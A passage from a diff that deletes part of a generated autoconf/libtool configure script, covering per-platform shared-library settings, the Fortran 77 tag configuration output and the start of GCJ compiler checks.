- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_F77=
-if test -n "$hardcode_libdir_flag_spec_F77" || \
- test -n "$runpath_var_F77" || \
- test "X$hardcode_automatic_F77" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_F77" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, F77)" != no &&
- test "$hardcode_minus_L_F77" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_F77=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_F77=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_F77=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_F77" >&5
-$as_echo "$hardcode_action_F77" >&6; }
-
-if test "$hardcode_action_F77" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_F77 \
- CC_F77 \
- LD_F77 \
- lt_prog_compiler_wl_F77 \
- lt_prog_compiler_pic_F77 \
- lt_prog_compiler_static_F77 \
- lt_prog_compiler_no_builtin_flag_F77 \
- export_dynamic_flag_spec_F77 \
- thread_safe_flag_spec_F77 \
- whole_archive_flag_spec_F77 \
- enable_shared_with_static_runtimes_F77 \
- old_archive_cmds_F77 \
- old_archive_from_new_cmds_F77 \
- predep_objects_F77 \
- postdep_objects_F77 \
- predeps_F77 \
- postdeps_F77 \
- compiler_lib_search_path_F77 \
- archive_cmds_F77 \
- archive_expsym_cmds_F77 \
- postinstall_cmds_F77 \
- postuninstall_cmds_F77 \
- old_archive_from_expsyms_cmds_F77 \
- allow_undefined_flag_F77 \
- no_undefined_flag_F77 \
- export_symbols_cmds_F77 \
- hardcode_libdir_flag_spec_F77 \
- hardcode_libdir_flag_spec_ld_F77 \
- hardcode_libdir_separator_F77 \
- hardcode_automatic_F77 \
- module_cmds_F77 \
- module_expsym_cmds_F77 \
- lt_cv_prog_compiler_c_o_F77 \
- exclude_expsyms_F77 \
- include_expsyms_F77; do
-
- case $var in
- old_archive_cmds_F77 | \
- old_archive_from_new_cmds_F77 | \
- archive_cmds_F77 | \
- archive_expsym_cmds_F77 | \
- module_cmds_F77 | \
- module_expsym_cmds_F77 | \
- old_archive_from_expsyms_cmds_F77 | \
- export_symbols_cmds_F77 | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_F77
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_F77
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_F77
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_F77
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_F77
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_F77
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_F77
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_F77
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_F77
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_F77
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_F77
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_F77
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_F77
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_F77
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_F77
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_F77
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_F77
-archive_expsym_cmds=$lt_archive_expsym_cmds_F77
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_F77
-module_expsym_cmds=$lt_module_expsym_cmds_F77
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_F77
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_F77
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_F77
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_F77
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_F77
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_F77
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_F77
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_F77
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_F77
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_F77
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_F77
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_F77
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_F77
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_F77
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_F77
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_F77
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_F77"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_F77
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_F77
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_F77
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_F77
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- else
- tagname=""
- fi
- ;;
-
- GCJ)
- if test -n "$GCJ" && test "X$GCJ" != "Xno"; then
-
-
-# Source file extension for Java test sources.
-ac_ext=java
-
-# Object file extension for compiled Java test sources.
-objext=o
-objext_GCJ=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="class foo {}\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='public class conftest { public static void main(String[] argv) {}; }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${GCJ-"gcj"}
-compiler=$CC
-compiler_GCJ=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# GCJ did not exist at the time GCC didn't implicitly link libc in.
-archive_cmds_need_lc_GCJ=no
-
-old_archive_cmds_GCJ=$old_archive_cmds
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-lt_prog_compiler_no_builtin_flag_GCJ=
-
-if test "$GCC" = yes; then
- lt_prog_compiler_no_builtin_flag_GCJ=' -fno-builtin'
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
-$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; }
-if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_rtti_exceptions=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="-fno-rtti -fno-exceptions"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_rtti_exceptions=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
-$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; }
-
-if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
- lt_prog_compiler_no_builtin_flag_GCJ="$lt_prog_compiler_no_builtin_flag_GCJ -fno-rtti -fno-exceptions"
-else
- :
-fi
-
-fi
-
-lt_prog_compiler_wl_GCJ=
-lt_prog_compiler_pic_GCJ=
-lt_prog_compiler_static_GCJ=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_static_GCJ='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_GCJ='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_GCJ='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_GCJ='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_GCJ='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared_GCJ=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_GCJ=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_GCJ='-fPIC'
- ;;
- esac
- ;;
-
- *)
